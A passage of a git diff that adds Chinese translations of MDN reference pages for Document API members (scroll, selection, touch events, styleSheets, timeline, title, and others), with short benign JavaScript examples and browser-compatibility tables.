+<p>然而需要注意的是，输入事件和动画帧常常以差不多的频率被触发，因此以下优化常常不必要。这个例子使用 <code>requestAnimationFrame</code> 优化 <code>scroll</code> 事件。</p> + +<pre class="brush: js">// 参见: http://www.html5rocks.com/en/tutorials/speed/animations/ + +let last_known_scroll_position = 0; +let ticking = false; + +function doSomething(scroll_pos) { + // 根据滚动位置做的事 +} + +window.addEventListener('scroll', function(e) { + last_known_scroll_position = window.scrollY; + + if (!ticking) { + window.requestAnimationFrame(function() { + doSomething(last_known_scroll_position); + ticking = false; + }); + + ticking = true; + } +});</pre> + +<p>在 <code><a href="/en-US/docs/Web/API/Document/defaultView/resize_event">resize</a></code> 事件页面中查看更多类似的例子。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + </tr> + <tr> + <td>{{SpecName('DOM3 Events', '#event-type-scroll')}}</td> + <td>{{Spec2('DOM3 Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.Document.scroll_event")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Element/scroll_event">Element: <code>scroll</code> event</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/scrollingelement/index.html b/files/zh-cn/web/api/document/scrollingelement/index.html new file mode 100644 index 0000000000..9f6e68e342 --- /dev/null +++ b/files/zh-cn/web/api/document/scrollingelement/index.html @@ -0,0 +1,97 @@ +--- +title: Document.scrollingElement +slug: Web/API/Document/scrollingElement +translation_of: Web/API/Document/scrollingElement +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>scrollingElement</code></strong> （ {{domxref("Document")}} 的只读属性）返回滚动文档的 {{domxref("Element")}} 对象的引用。 在标准模式下, 这是文档的根元素, {{domxref("document.documentElement")}}.</p> + +<p>当在怪异模式下， <code>scrollingElement</code> 属性返回 HTML <code>body</code> 元素（若不存在返回 null ）。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <var>element</var> = document.scrollingElement;</pre> + +<h2 id="示例">示例</h2> + +<pre class="brush: js">var scrollElm = document.scrollingElement; +scrollElm.scrollTop = 0; +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('CSSOM View','#dom-document-scrollingelement','scrollingElement')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(44.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("48.0")}}<sup>[1]</sup></td> + <td>{{CompatNo}}</td> + <td>33.0</td> + <td>9.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>36</td> + <td>9.0</td> + <td>{{CompatChrome(44.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] This feature was initially implemented in Gecko 47.0 {{geckoRelease("47.0")}} behind the preference <code>dom.document.scrollingElement.enabled</code>, defaulting to <code>true</code> on Nightly builds and <code>false</code> otherwise. In Gecko 48.0 {{geckoRelease("48.0")}} the feature got enabled by default and the preference removed.</p> diff --git a/files/zh-cn/web/api/document/selectedstylesheetset/index.html b/files/zh-cn/web/api/document/selectedstylesheetset/index.html new file mode 100644 index 0000000000..719af9c643 --- /dev/null +++ b/files/zh-cn/web/api/document/selectedstylesheetset/index.html @@ -0,0 +1,46 @@ +--- +title: Document.selectedStyleSheetSet +slug: Web/API/Document/selectedStyleSheetSet +translation_of: Web/API/Document/selectedStyleSheetSet +--- +<p>{{ APIRef("DOM") }}{{ gecko_minversion_header("1.9") }}</p> + +<p>表示当前使用的样式表集合的名称</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval"><em>currentStyleSheetSet</em> = document.selectedStyleSheetSet + +document.selectedStyleSheet = <em>newStyleSheetSet</em> + +</pre> + +<p>返回时，currentStyleSheetSet表示当前使用的样式表集合的名称。 你也可以使用这个属性设置当前样式表集。</p> + +<p>设置这个属性的值相当于用<code>currentStyleSheetSet的值</code>调用 {{ domxref("document.enableStyleSheetsForSet()") }}，然后将<code>lastStyleSheetSet</code> 的值设置为该值。</p> + +<div class="note"><strong>注意:</strong> 这个属性的值是实时的，直接更改样式表中的<code>disabled</code>属性将会影响这个属性的值.</div> + +<h2 id="Example" name="Example">示例</h2> + +<pre class="brush: js">console.log("Current style sheet set: " + document.selectedStyleSheetSet); + +document.selectedStyleSheetSet = "Some other style sheet"; +</pre> + +<div class="note"><strong>注意:</strong> 这个例子会帮助你理解设置<code>selectedStyleSheetSet</code> 的值和调用{{ domxref("document.enableStyleSheetsForSet()") }}之间行为的差异.</div> + +<h2 id="See_also" name="See_also">参看</h2> + +<ul> + <li>{{ domxref("document.lastStyleSheetSet") }}</li> + <li>{{ domxref("document.preferredStyleSheetSet") }}</li> + <li>{{ domxref("document.styleSheetSets") }}</li> + <li>{{ domxref("document.enableStyleSheetsForSet()") }}</li> +</ul> + +<h2 id="Specification" name="Specification">规范</h2> + +<ul> + <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets" title="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">HTML5: Alternate Style Sheets</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/selectionchange_event/index.html b/files/zh-cn/web/api/document/selectionchange_event/index.html new file mode 100644 index 0000000000..7b5018d4cc --- /dev/null +++ b/files/zh-cn/web/api/document/selectionchange_event/index.html @@ -0,0 +1,147 @@ +--- +title: selectionchange +slug: Web/API/Document/selectionchange_event +translation_of: Web/API/Document/selectionchange_event +--- +<div> +<p><a href="/en-US/docs/Web/API/Selection_API">Selection API</a> 的 <strong><code>selectionchange</code> </strong>事件在文档上的当前文本选择被改变时触发。</p> +</div> + +<table class="standard-table"> + <tbody> + <tr> + <td>Bubbles</td> + <td>No</td> + </tr> + <tr> + <td>Cancelable</td> + <td>No</td> + </tr> + <tr> + <td>Target objects</td> + <td>{{domxref("Document")}}</td> + </tr> + <tr> + <td>Interface</td> + <td>{{domxref("Event")}}</td> + </tr> + </tbody> +</table> + +<h2 id="例子">例子</h2> + +<pre class="brush: js notranslate">//以下两种方法可任选其一 +document.addEventListener("selectionchange", () => { + console.log(document.getSelection()); +}); + +document.onselectionchange = () => { + console.log(document.getSelection()); +}; +</pre> + +<h2 id="继承">继承</h2> + +<p><code>selectionchange</code> 事件实现了 {{domxref("Event")}} 接口，因此在此接口上定义的属性和方法都可使用。</p> + +<p>{{InheritanceDiagram('','','', 'Event')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">说明</th> + </tr> + <tr> + <td>{{SpecName('Selection API', '#selectionchange-event', 'selectionchange')}}</td> + <td>{{Spec2('Selection API')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("52")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>on <code>HTMLInputElement</code> and <code>HTMLTextAreaElement</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop("52")}} - [1]</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("52")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>on <code>HTMLInputElement</code> and <code>HTMLTextAreaElement</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("52")}} - [1]</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] - Experimental support in Nightly behind the <code>dom.select_events.textcontrols.enabled</code> preference. Support for input and textarea is currently not part of the specification.</p> + +<h2 id="参考">参考</h2> + +<ul> + <li>{{domxref("Document.onselectionchange")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/selectstart_event/index.html b/files/zh-cn/web/api/document/selectstart_event/index.html new file mode 100644 index 0000000000..1cd13babb1 --- /dev/null +++ b/files/zh-cn/web/api/document/selectstart_event/index.html @@ -0,0 +1,127 @@ +--- +title: selectstart +slug: Web/API/Document/selectstart_event +tags: + - Selection + - Selection API + - events +translation_of: Web/API/Document/selectstart_event +--- +<div> +<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Selection_API">Selection API</a> 的 <code><strong>selectstart</strong></code><strong> </strong>事件在用户开始一个新的选择时候触发。</p> + +<p>如果事件被取消，选择将不被触发。</p> +</div> + +<table class="standard-table"> + <tbody> + <tr> + <td>Bubbles</td> + <td>Yes</td> + </tr> + <tr> + <td>Cancelable</td> + <td>Yes</td> + </tr> + <tr> + <td>Target objects</td> + <td>{{domxref("Document")}}</td> + </tr> + <tr> + <td>Interface</td> + <td>{{domxref("Event")}}</td> + </tr> + </tbody> +</table> + +<h2 id="例子">例子</h2> + +<pre class="brush: js">document.addEventListener("selectstart", function() { + console.log('Selection started'); +}, false); +</pre> + +<h2 id="继承">继承</h2> + +<p><code>selectstart</code> 事件实现{{domxref("Event")}} 接口. 你可以使用此界面上定义的属性和方法。</p> + +<p>{{InheritanceDiagram('','','', 'Event')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Selection API', '#selectstart-event', 'selectstart')}}</td> + <td>{{Spec2('Selection API')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("52")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("52")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("GlobalEventHandlers.onselectstart")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/stylesheets/index.html b/files/zh-cn/web/api/document/stylesheets/index.html new file mode 100644 index 0000000000..61c8c2eae2 --- /dev/null +++ b/files/zh-cn/web/api/document/stylesheets/index.html @@ -0,0 +1,25 @@ +--- +title: Document.styleSheets +slug: Web/API/Document/styleSheets +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +--- +<div>{{APIRef}}</div> + +<p><strong><code>Document.styleSheets</code></strong> 只读属性，返回一个由 {{domxref("StyleSheet ")}} 对象组成的 {{domxref("StyleSheetList")}}，每个 {{domxref("StyleSheet ")}} 对象都是一个文档中链接或嵌入的样式表。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox">let <var>styleSheetList</var> = <em>document</em>.styleSheets; +</pre> + +<p>返回的对象是一个 {{domxref("StyleSheetList")}}。</p> + +<p>它是一个 {{domxref("StyleSheet")}} 对象的有序集合。<code><em>styleSheetList</em>.item(<em>index</em>)</code> 或 <code><em>styleSheetList</em>{{ mediawiki.External('<em>index</em>') }}</code> 根据它的索引（索引基于0）返回一个单独的样式表对象。</p> + +<pre class="syntaxbox"> </pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-DocumentStyle-styleSheets">DOM Level 2 Style: styleSheets</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/stylesheetsets/index.html b/files/zh-cn/web/api/document/stylesheetsets/index.html new file mode 100644 index 0000000000..329884f55c --- /dev/null +++ b/files/zh-cn/web/api/document/stylesheetsets/index.html @@ -0,0 +1,54 @@ +--- +title: Document.styleSheetSets +slug: Web/API/Document/styleSheetSets +tags: + - Document.styleSheetSets +translation_of: Web/API/Document/styleSheetSets +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}</div> + +<p>返回一个所有当前可用样式表集的实时列表。</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>sets</em> = document.styleSheetSets +</pre> + +<p>在返回时，sets 是一个可用的样式表集的列表。</p> + +<h2 id="Example" name="Example">Example</h2> + +<p>Given an {{HTMLElement("ul")}} (list) element with the ID "sheetList", you can populate it with the names of all the available style sheet sets with code like this:</p> + +<pre class="brush:js">var list = document.getElementById("sheetList"); +var sheets = document.styleSheetSets; + +list.innerHTML = ""; + +for (var i = 0; i < sheets.length; i++) { + var item = document.createElement("li"); + + item.innerHTML = sheets[i]; + list.appendChild(item); +}</pre> + +<h2 id="Notes">Notes</h2> + +<p>The list of available style sheet sets is constructed by enumerating all the style sheets available for the document, in the order in which they're listed in the {{domxref("document.styleSheets")}} attribute, adding the <code>title</code> of each style sheet that has a title to the list. Duplicates are dropped from the list (using a case-sensitive comparison).</p> + +<h2 id="Specification" name="Specification">Specifications</h2> + +<ul> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets" title="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">HTML5: Alternate Style Sheets</a></li> +</ul> + +<h2 id="See_also" name="See_also">See also</h2> + +<ul> + <li>{{domxref("Stylesheet")}}</li> + <li>{{domxref("document.styleSheets")}}</li> + <li>{{domxref("document.lastStyleSheetSet")}}</li> + <li>{{domxref("document.preferredStyleSheetSet")}}</li> + <li>{{domxref("document.selectedStyleSheetSet")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/timeline/index.html b/files/zh-cn/web/api/document/timeline/index.html new file mode 100644 index 0000000000..387e6c7e3b --- /dev/null +++ b/files/zh-cn/web/api/document/timeline/index.html @@ -0,0 +1,66 @@ +--- +title: Document.timeline +slug: Web/API/Document/timeline +tags: + - API + - Animation + - Document + - Property + - 属性 + - 文档 +translation_of: Web/API/Document/timeline +--- +<div>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</div> + +<p>{{domxref("Document")}} 接口的 <code>timeline</code> 只读属性表示当前文档的默认时间轴。 此时间轴是 {{domxref("DocumentTimeline")}} 的一个特殊实例，它会在网页加载时自动创建。</p> + +<p>此时间轴对于每个文档（<code>document</code>）来说都是唯一的，并在文档的生命周期中保持不变，包括调用 {{domxref("Document.open()")}}。</p> + +<p>该时间线的时间值被计算为与全局时钟的固定偏移，使得零时间对应于{{domxref("PerformanceTiming.navigationStart", "navigationStart")}}时刻加上称为原始时间的带符号的delta 。 在建立导航开始时刻之前，文档时间线是不活动的。</p> + +<div class="note"> +<p><strong>注意：</strong>与非活动文档相关联的文档时间轴也被视为是<strong>不活动的</strong>。</p> +</div> + +<h2 id="语法">语法</h2> + +<div class="syntaxbox"> +<pre class="brush: js">var pageTimeline = document.timeline; +var thisMoment = pageTimeline.currentTime;</pre> +</div> + +<h3 id="值">值</h3> + +<p>一个 {{domxref("DocumentTimeline")}} 对象。</p> + +<h2 id="规则">规则</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('Web Animations', '#dom-document-timeline', 'document.timeline' )}}</td> + <td>{{Spec2('Web Animations')}}</td> + <td>Editor's draft.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.timeline")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/API/Web_Animations_API">Web Animations API</a></li> + <li>{{domxref("AnimationTimeline")}}</li> + <li>{{domxref("AnimationTimeline.currentTime")}}</li> + <li>{{domxref("DocumentTimeline")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/title/index.html b/files/zh-cn/web/api/document/title/index.html new file mode 100644 index 0000000000..3f8c887b65 --- /dev/null +++ b/files/zh-cn/web/api/document/title/index.html @@ -0,0 +1,42 @@ +--- +title: Document.title +slug: Web/API/Document/title +translation_of: Web/API/Document/title +--- +<div> + {{APIRef}}</div> +<h2 id="Summary" name="Summary">概述</h2> +<p>获取或设置文档的标题。</p> +<h2 id="Syntax" name="Syntax">语法</h2> +<pre class="syntaxbox"><em>var docTitle</em> = <em>document</em>.title; +</pre> +<p><code>title</code> 是一个包含 <code>document</code> 标题的字符串。如果通过设置 <code>document.title</code> 将标题覆盖，则返回覆盖后的值。否则返回标签里指定的标题（参见下面的 {{Anch("Notes")}}）。</p> +<pre class="syntaxbox"><em>document</em>.title = <em>newTitle</em>; +</pre> +<p><code>newTitle</code> 是文档的新标题。赋值操作影响 <code>document.title</code> 的返回值，<span style="line-height: 1.5;">文档的显示标题（即窗口或标签页顶部的标题栏），另外还会影响文档的 DOM，即改变 HTML 文档中 </span><code style="font-style: normal; line-height: 1.5;"><title></code><span style="line-height: 1.5;"> 元素的内容。</span></p> +<h2 id="Example" name="Example">示例</h2> +<pre class="brush:js"><!DOCTYPE html> +<html> +<head> +<title>Hello World!</title> +</head> +<body> + +<script> +alert(document.title); // 显示 "Hello World!" +document.title = "Goodbye World!"; +alert(document.title); // 显示 "Goodbye World!" +</script> + +</body> +</html> +</pre> +<h2 id="Notes" name="Notes">备注</h2> +<p>在 Gecko 中，该属性适应于 HTML、SVG、XUL 和其他文档。</p> +<p>对于 HTML 文档来说，<code>document.title</code> 的初始值是 <code><title></code> 元素的文本内容。对于 XUL 来说，它是 {{XULElem("window")}} 或其他顶级 XUL 元素的 {{XULAttr("title")}} 属性的值。</p> +<p>在 XUL 里，在文档完全加载之前访问 <code>document.title</code>，会有未定义行为（<code>document.title</code> 可能返回一个空字符串，并且设置 <code>document.title</code> 也无效）。</p> +<h2 id="Specification" name="Specification">规范</h2> +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-18446827">DOM Level 2 HTML: document.title</a></li> + <li><a class="external" href="http://www.whatwg.org/html/#document.title" title="http://www.whatwg.org/html/#document.title">HTML5</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/tooltipnode/index.html b/files/zh-cn/web/api/document/tooltipnode/index.html new file mode 100644 index 0000000000..db042ee270 --- /dev/null +++ b/files/zh-cn/web/api/document/tooltipnode/index.html @@ -0,0 +1,14 @@ +--- +title: document.tooltipNode +slug: Web/API/Document/tooltipNode +translation_of: Web/API/Document/tooltipNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>返回作为当前文档的{{ XULElem("tooltip") }}的节点.</p> +<h3 id="Usage" name="Usage">语法</h3> +<pre class="eval">document.tooltipNode; +</pre> +<h3 id="Specification" name="Specification">规范</h3> +<p>只能在XUL中使用.不属于任何规范.定义在{{ Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl") }}.</p> +<p>{{ languages( {"zh-cn": "zh-cn/DOM/document.tooltipNode" } ) }}</p> diff --git a/files/zh-cn/web/api/document/touchcancel_event/index.html b/files/zh-cn/web/api/document/touchcancel_event/index.html new file mode 100644 index 0000000000..aaacf163f8 --- /dev/null +++ b/files/zh-cn/web/api/document/touchcancel_event/index.html @@ -0,0 +1,73 @@ +--- +title: 'Document: touchcancel event' +slug: Web/API/Document/touchcancel_event +tags: + - Document + - Event + - TouchEvent + - touchcancel + - 事件 + - 参考 +translation_of: Web/API/Document/touchcancel_event +--- +<div><font><font>{{APIRef}}</font></font></div> + +<p><span class="seoSummary"><code>touchcancel</code><font><font>当一个或多个触摸点以特定于实现的方式中断时（例如，创建了太多的触摸点），将触发</font><font>该</font><font>事件。</font></font></span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><font><font>冒泡</font></font></th> + <td><font><font>是</font></font></td> + </tr> + <tr> + <th scope="row"><font><font>可取消</font></font></th> + <td>不可</td> + </tr> + <tr> + <th scope="row"><font><font>接口</font></font></th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row"><font><font>事件处理程序属性</font></font></th> + <td> + <article> + <p>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</p> + </article> + </td> + </tr> + </tbody> +</table> + +<h2 id="示例"><font><font>示例</font></font></h2> + +<p><font><font>这些事件的代码示例可在专用页面上找到：</font></font><a href="/en-US/docs/DOM/Touch_events"><font><font>触摸事件</font></font></a><font><font>。</font></font></p> + +<h2 id="规范"><font><font>规范</font></font></h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col"><font><font>规范</font></font></th> + <th scope="col"><font><font>状态</font></font></th> + </tr> + <tr> + <td>{{SpecName('Touch Events', '#event-touchcancel')}}</td> + <td>{{Spec2('Touch Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性"><font><font>浏览器兼容性</font></font></h2> + +<div class="hidden"><font><font>此页面上的兼容性表是根据结构化数据生成的。</font><font>如果您想贡献数据，请查看</font></font><a href="https://github.com/mdn/browser-compat-data"><font><font>https://github.com/mdn/browser-compat-data</font></font></a><font><font>并向我们发送请求请求。</font></font></div> + +<p>{{Compat("api.Document.touchcancel_event")}}</p> + +<h2 id="参见"><font><font>参见</font></font></h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Touch_events"><font><font>触摸事件</font></font></a></li> + <li>{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}</li> + <li>目标为 {{domxref("Element")}} 的相同事件：{{domxref("Element/touchcancel_event", "touchcancel")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/touchend_event/index.html b/files/zh-cn/web/api/document/touchend_event/index.html new file mode 100644 index 0000000000..31a74b99d8 --- /dev/null +++ b/files/zh-cn/web/api/document/touchend_event/index.html @@ -0,0 +1,116 @@ +--- +title: touchend +slug: Web/API/Document/touchend_event +translation_of: Web/API/Document/touchend_event +--- +<p>当触点离开触控平面时触发<code>touchend</code>事件.</p> + +<h2 id="常规信息">常规信息</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">规范</dt> + <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></dd> + <dt style="float: left; text-align: right; width: 120px;">接口</dt> + <dd style="margin: 0 0 0 120px;">TouchEvent</dd> + <dt style="float: left; text-align: right; width: 120px;">是否冒泡</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">能否取消默认行为</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">目标</dt> + <dd style="margin: 0 0 0 120px;">Document, Element</dd> + <dt style="float: left; text-align: right; width: 120px;">默认行为</dt> + <dd style="margin: 0 0 0 120px;">无</dd> +</dl> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The event target (the topmost target in the DOM tree).</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td>DOMString</td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event normally bubbles or not.</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td>Boolean</td> + <td>Whether the event is cancellable or not.</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td>WindowProxy</td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td>long (float)</td> + <td>0.</td> + </tr> + <tr> + <td><code>touches</code> {{readonlyInline}}</td> + <td>TouchList</td> + <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact currently touching the surface.</td> + </tr> + <tr> + <td><code>targetTouches</code> {{readonlyInline}}</td> + <td>TouchList</td> + <td>A list of <a href="/en/DOM/Touch"><code>Touch</code></a>es for every point of contact that is touching the surface and started on the element that is the target of the current event.</td> + </tr> + <tr> + <td><code>changedTouches</code> {{readonlyInline}}</td> + <td>TouchList</td> + <td>A list of <a href="/en-US/docs/DOM/Touch"><code>Touch</code></a>es for every point of contact which contributed to the event.<br> + For the touchstart event this must be a list of the touch points that just became active with the current event. For the touchmove event this must be a list of the touch points that have moved since the last event. For the touchend and touchcancel events this must be a list of the touch points that have just been removed from the surface.</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="例子">例子</h2> + +<p>这些事件的代码示例在这个页面<a href="https://developer.mozilla.org/en-US/docs/DOM/Touch_events">Touch events</a>中均有体现.</p> + +<h2 id="Related_Events">Related Events</h2> + +<ul> + <li>{{event("touchstart")}}</li> + <li>{{event("touchend")}}</li> + <li>{{event("touchmove")}}</li> + <li>{{event("touchcancel")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/touchstart_event/index.html b/files/zh-cn/web/api/document/touchstart_event/index.html new file mode 100644 index 0000000000..ef493fef64 --- /dev/null +++ b/files/zh-cn/web/api/document/touchstart_event/index.html @@ -0,0 +1,69 @@ +--- +title: 'Document: touchstart 事件' +slug: Web/API/Document/touchstart_event +tags: + - Document + - Event + - TouchEvent + - Web + - touchstart + - 参考 +translation_of: Web/API/Document/touchstart_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary">当一个或多个触摸点与触控设备表面接触时触发<code>touchstart</code> 事件。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Bubbles</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Cancelable</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">Interface</th> + <td>{{domxref("TouchEvent")}}</td> + </tr> + <tr> + <th scope="row">Event handler property</th> + <td>{{ 